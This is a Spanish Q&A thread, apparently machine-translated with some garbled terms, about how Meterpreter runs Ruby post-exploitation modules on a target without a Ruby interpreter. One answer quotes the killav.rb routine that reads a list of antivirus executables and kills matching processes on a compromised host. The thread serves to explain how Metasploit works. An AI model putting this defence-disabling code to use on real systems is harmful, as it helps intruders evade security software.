¿Cómo carga Meterpreter los módulos?

6

He estado usando el Meterpreter por algún tiempo y todavía soy bastante nuevo y una de las preguntas que tengo es cómo funciona la carga del módulo.

Corríjame si me equivoco, ya que sigo aprendiendo a usar Metasploit, pero a mi entender, sé que los módulos que puede cargar en el Meterpreter como killav.rb están escritos en Ruby. Se supone que este módulo se carga en el Meterpreter y se ejecuta.

¿Cómo se ejecuta el script Ruby si el intérprete de Ruby no existe en el sistema? Lo siento si mi pregunta parece básica o si lo que sé es incorrecto, ya que estoy empezando a usar Metasploit.

    
pregunta eclipse 22.11.2017 - 15:27
fuente

2 respuestas

2

Comencemos con la comprensión básica: una vez que tenga un medidor de metro, tendrá acceso a los módulos de metasploit que realizan actividades posteriores a la explotación. Ahora cualquier actividad que inicies digamos killav.rb. El código en este archivo está interactuando con el módulo del multiprocesador metasploit que tiene y utiliza RailGun. Railgun es una característica de explotación posterior muy poderosa exclusiva de Windows Meterpreter. Le permite tener un control completo de la API de Windows de su máquina de destino. Pasa la instrucción al sistema Target. Permítame darle una idea del código de killav.rb

 def run
    avs = ::File.read(::File.join(Msf::Config.data_directory, 'wordlists',
                                  '***av_hips_executables.txt***')).strip
    avs = Set.new(avs.split("\n"))

    processes_found = 0
    processes_killed = 0
    client.sys.process.get_processes().each do |x|
      next if skip_process_name?(x['name'].downcase)
      vprint_status("Checking #{x['name'].downcase} ...")
      if avs.include?(x['name'].downcase)
        processes_found += 1
        print_status("Attempting to terminate '#{x['name']}' (PID: #{x['pid']}) ...")
        begin
          client.sys.process.kill(x['pid'])
          processes_killed += 1
          print_good("#{x['name']} terminated.")
        rescue Rex::Post::Meterpreter::RequestError
          print_error("Failed to terminate '#{x['name']}' (PID: #{x['pid']}).")
        end
      end
    end

Si observa el av_hips_executables.txt

(Nota: este archivo también estará disponible en la ubicación de la aplicación metasploit /usr/share/metasploit-framework/data/wordlists/av_hips_executables.txt)

Ese archivo contiene la lista de todos los ejecutables conocidos que están asociados con un Antivirus de ejecución, el código después de eso es simplemente para detectar su PID y eliminar el PID. Y ya que todo se pasa a través de la API meterpreter. No depende del lado del cliente si tiene rubí o no.

    
respondido por el Dhruv Shah 26.11.2017 - 22:03
fuente
3

El código no se ejecuta realmente en el host remoto. El módulo ruby se ejecuta en su máquina y utiliza la api de Metasploit para ejecutar el código en el otro lado. La api de Metasploit tiene muchas ventanas apis asignadas como llamadas rpc (llamadas railgun). Meteterpter está escrito en cpp, no hay componentes ruby o incrustaciones realizadas en el lado del "cliente". Lea más aquí: Cómo utilizar Railgun para la explotación posterior de Windows .

    
respondido por el Jonathan Allon 26.11.2017 - 07:35
fuente

Lea otras preguntas en las etiquetas